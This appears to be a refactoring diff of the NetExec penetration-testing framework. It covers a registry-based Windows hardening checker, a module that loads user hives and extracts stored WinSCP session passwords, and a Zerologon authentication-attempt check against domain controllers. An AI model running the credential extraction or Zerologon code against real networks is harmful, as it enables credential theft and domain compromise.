wcc_file_handler = logging.FileHandler(log_filename)
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
self.wcc_logger.addHandler(wcc_file_handler)
def options(self, context, module_options):
"""
@@ -156,45 +158,39 @@ class HostChecker:
self.dce = remoteOps._RemoteOperations__rrp
def run(self):
# Prepare checks
self.init_checks()
# Perform checks
self.check_config()
# Check methods #
#################
def init_checks(self):
# Declare the checks to do and how to do them
self.checks = [
ConfigCheck("Last successful update", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
ConfigCheck("LAPS", "Checks if LAPS is installed", checkers=[self.check_laps]),
ConfigCheck("Administrator's name", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
ConfigCheck("Last successful update age", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
ConfigCheck("LAPS installed", "Checks if LAPS is installed", checkers=[self.check_laps]),
ConfigCheck("Administrator account renamed", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
ConfigCheck("UAC configuration", "Checks if UAC configuration is secure", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 1), ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "LocalAccountTokenFilterPolicy", 0)]]),
ConfigCheck("Hash storage format", "Checks if storing hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
ConfigCheck("Always install elevated", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
ConfigCheck("IPv6 preference", "Checks if IPv6 is preferred over IPv4", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
ConfigCheck("Spooler service", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
ConfigCheck("WDigest authentication", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
ConfigCheck("LM hash storage disabled", "Checks if storing hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
ConfigCheck("Always install elevated disabled", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
ConfigCheck("IPv4 preferred over IPv6", "Checks if IPv4 is preferred over IPv6", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
ConfigCheck("Spooler service disabled", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
ConfigCheck("WDigest authentication disabled", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
ConfigCheck("LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
ConfigCheck("AppLocker", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
ConfigCheck("Small LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
ConfigCheck("AppLocker rules defined", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]),
ConfigCheck("CredentialGuard", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
ConfigCheck("PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
ConfigCheck("Powershell v2 availability", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
ConfigCheck("LmCompatibilityLevel", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
ConfigCheck("NBTNS", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
ConfigCheck("mDNS", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
ConfigCheck("SMB signing", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
ConfigCheck("LDAP signing", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
ConfigCheck("SMB encryption", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
ConfigCheck("CredentialGuard enabled", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
ConfigCheck("Lsass run as PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
ConfigCheck("No Powershell v2", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
ConfigCheck("LmCompatibilityLevel == 5", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
ConfigCheck("NBTNS disabled", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
ConfigCheck("mDNS disabled", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
ConfigCheck("SMB signing enabled", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
ConfigCheck("LDAP signing enabled", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
ConfigCheck("SMB encryption enabled", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
ConfigCheck("RDP authentication", "Checks RDP authentication configuration (NLA auth and restricted admin mode)", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA", "RestrictedAdminMode", 1)]]),
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
ConfigCheck("Automatic session lock", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
ConfigCheck("Powershell Execution Policy", 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
]
# Add check to conf_checks table if missing
@@ -483,9 +479,6 @@ class HostChecker:
return success, reasons
# Methods for getting values from the remote registry #
#######################################################
def _open_root_key(self, dce, connection, root_key):
ans = None
retries = 1
@@ -588,19 +581,12 @@ class HostChecker:
subkey_handle = ans["phkResult"]
if valueName is None:
_, _, data = get_value(subkey_handle)
return get_value(subkey_handle)[2]
else:
found = False
for _, name, _data in subkey_values(subkey_handle):
for _, name, data in subkey_values(subkey_handle):
if name.upper() == valueName.upper():
found = True
break
if not found:
return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
return data
# Methods for getting values from SAMR and SCM #
################################################
return data
return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
def get_service(self, service_name, connection):
"""Get the service status and configuration for specified service"""
@@ -649,23 +635,15 @@ class HostChecker:
self.context.log.error(f"ls(): C:\\{path} {e}\n")
return file_listing
# Comparison operators #
########################
def le(reg_sz_string, number):
return int(reg_sz_string[:-1]) <= number
def in_(obj, seq):
return obj in seq
def startswith(string, start):
return string.startswith(start)
def not_(boolean_operator):
def wrapper(*args, **kwargs):
return not boolean_operator(*args, **kwargs)
@@ -51,7 +51,7 @@ class NXCModule:
masterkeys = []
try:
masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
@@ -51,25 +51,19 @@ class NXCModule:
context.log.highlight(f"UserName: {session[2]}")
context.log.highlight(f"Password: {session[3]}")
def user_object_to_name_mapper(self, context, connection, allUserObjects):
def user_object_to_name_mapper(self, context, connection, all_user_objects):
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
for userObject in allUserObjects:
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
key_handle = ans["phkResult"]
for user_object in all_user_objects:
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
self.userDict[userObject] = user_profile_path.split("\\")[-1]
self.userDict[user_object] = user_profile_path.split("\\")[-1]
finally:
remote_ops.finish()
@@ -121,22 +115,14 @@ class NXCModule:
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
# ==================== Handle Registry ====================
def registry_session_extractor(self, context, connection, userObject, sessionName):
def registry_session_extractor(self, context, connection, user_object, sessionName):
"""Extract Session information from registry"""
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
)
key_handle = ans["phkResult"]
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\{sessionName}")["phkResult"]
host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
try:
@@ -162,18 +148,13 @@ class NXCModule:
user_objects = []
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
# Enumerate all logged in and loaded Users on System
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -195,22 +176,13 @@ class NXCModule:
user_objects = []
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
# Enumerate all Users on System
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
)
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -222,86 +194,65 @@ class NXCModule:
remote_ops.finish()
return user_objects
def load_missing_users(self, context, connection, unloadedUserObjects):
def load_missing_users(self, context, connection, unloaded_user_objects):
"""Extract Information for not logged in Users and then loads them into registry."""
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
for userObject in unloadedUserObjects:
for user_object in unloaded_user_objects:
# Extract profile Path of NTUSER.DAT
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
key_handle = ans["phkResult"]
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
# Load Profile
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
rrp.hBaseRegLoadKey(
remote_ops._RemoteOperations__rrp,
key_handle,
userObject,
user_profile_path + "\\" + "NTUSER.DAT",
)
context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remote_ops.finish()
def unload_missing_users(self, context, connection, unloadedUserObjects):
"""If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
def unload_missing_users(self, context, connection, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
# Unload Profile
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
for userObject in unloadedUserObjects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
for user_object in unloaded_user_objects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + user_object)
try:
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object)
except Exception as e:
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
context.log.fail(f"Error unloading user {user_object} in registry: {e}")
context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remote_ops.finish()
def check_masterpassword_set(self, connection, userObject):
def check_masterpassword_set(self, context, connection, user_object):
use_master_password = False
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
)
key_handle = ans["phkResult"]
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security")["phkResult"]
use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("Security configuration registry not found, no master passwords set at all.")
else:
context.log.exception(e)
finally:
remote_ops.finish()
return use_master_password
@@ -309,7 +260,7 @@ class NXCModule:
def registry_discover(self, context, connection):
context.log.display("Looking for WinSCP creds in Registry...")
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
# Enumerate all Users on System
@@ -321,39 +272,29 @@ class NXCModule:
unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
self.load_missing_users(context, connection, unloaded_user_objects)
# Retrieve how many sessions are stored in registry from each UserObject
# Retrieve how many sessions are stored in registry from each user_object
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for userObject in all_user_objects:
for user_object in all_user_objects:
try:
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
)
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
sessions = data["lpcSubKeys"]
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions")["phkResult"]
sessions = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[user_object]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
session_names.remove("Default%20Settings")
if self.check_masterpassword_set(connection, userObject):
if self.check_masterpassword_set(context, connection, user_object):
context.log.fail("MasterPassword set! Aborting extraction...")
continue
# Extract stored Session infos
for sessionName in session_names:
self.print_creds(
context,
self.registry_session_extractor(context, connection, userObject, sessionName),
)
self.print_creds(context, self.registry_session_extractor(context, connection, user_object, sessionName))
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug(f"No WinSCP config found in registry for user {userObject}")
context.log.debug(f"No WinSCP config found in registry for user {user_object}")
except Exception as e:
context.log.fail(f"Unexpected error: {e}")
context.log.debug(traceback.format_exc())
+6 -4
View File
@@ -26,7 +26,7 @@ class NXCModule:
def on_login(self, context, connection):
self.context = context
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
self.context.log.highlight("VULNERABLE")
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
@@ -43,13 +43,15 @@ class NXCModule:
except Exception:
self.context.log.debug("Error updating zerologon status in database")
def perform_attack(self, dc_handle, dc_ip, target_computer):
def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
self.context.log.debug("Performing authentication attempts...")
rpc_con = None
try:
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
rpc_con_.setRemoteHost(remoteHost)
rpc_con = rpc_con_.get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
for _attempt in range(MAX_ATTEMPTS):
+30 -52
View File
@@ -12,6 +12,7 @@ from nxc.paths import NXC_PATH
from nxc.console import nxc_console
from nxc.logger import nxc_logger
from nxc.config import nxc_config, nxc_workspace, config_log, ignore_opsec
from nxc.database import create_db_engine
from concurrent.futures import ThreadPoolExecutor, as_completed
import asyncio
from nxc.helpers import powershell
@@ -20,10 +21,10 @@ import os
from os.path import exists
from os.path import join as path_join
from sys import exit
import logging
import sqlalchemy
from rich.progress import Progress
import platform
if sys.stdout.encoding == "cp1252":
sys.stdout.reconfigure(encoding="utf-8")
# Increase file_limit to prevent error "Too many open files"
if platform.system() != "Windows":
@@ -38,19 +39,15 @@ if platform.system() != "Windows":
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
def create_db_engine(db_path):
return sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
async def start_run(protocol_obj, args, db, targets):
futures = []
nxc_logger.debug("Creating ThreadPoolExecutor")
if args.no_progress or len(targets) == 1:
with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
with ThreadPoolExecutor(max_workers=args.threads) as executor:
nxc_logger.debug(f"Creating thread for {protocol_obj}")
_ = [executor.submit(protocol_obj, args, db, target) for target in targets]
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
else:
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads) as executor:
current = 0
total = len(targets)
tasks = progress.add_task(
@@ -62,23 +59,17 @@ async def start_run(protocol_obj, args, db, targets):
for _ in as_completed(futures):
current += 1
progress.update(tasks, completed=current)
for future in as_completed(futures):
try:
future.result()
except Exception:
nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}")
def main():
first_run_setup(nxc_logger)
root_logger = logging.getLogger("root")
args = gen_cli_args()
if args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
# if these are the same, it might double log to file (two FileHandlers will be added)
# but this should never happen by accident
if config_log:
@@ -86,8 +77,8 @@ def main():
if hasattr(args, "log") and args.log:
nxc_logger.add_file_log(args.log)
nxc_logger.debug("PYTHON VERSION: " + sys.version)
nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
nxc_logger.debug(f"PYTHON VERSION: {sys.version}")
nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}")
nxc_logger.debug(f"Passed args: {args}")
# FROM HERE ON A PROTOCOL IS REQUIRED
@@ -150,7 +141,8 @@ def main():
nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
nxc_logger.debug(f"Protocol Object: {protocol_object}")
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
@@ -183,13 +175,15 @@ def main():
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
exit(0)
elif args.module:
nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
for m in map(str.lower, args.module):
# Check the modules for sanity before loading the protocol
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
proto_module_paths = []
for m in args.module:
if m not in modules:
nxc_logger.error(f"Module not found: {m}")
exit(1)
nxc_logger.debug(f"Loading module {m} at path {modules[m]['path']}")
nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
module = loader.init_module(modules[m]["path"])
if not module.opsec_safe:
@@ -197,22 +191,12 @@ def main():
nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
else:
ans = input(
highlight(
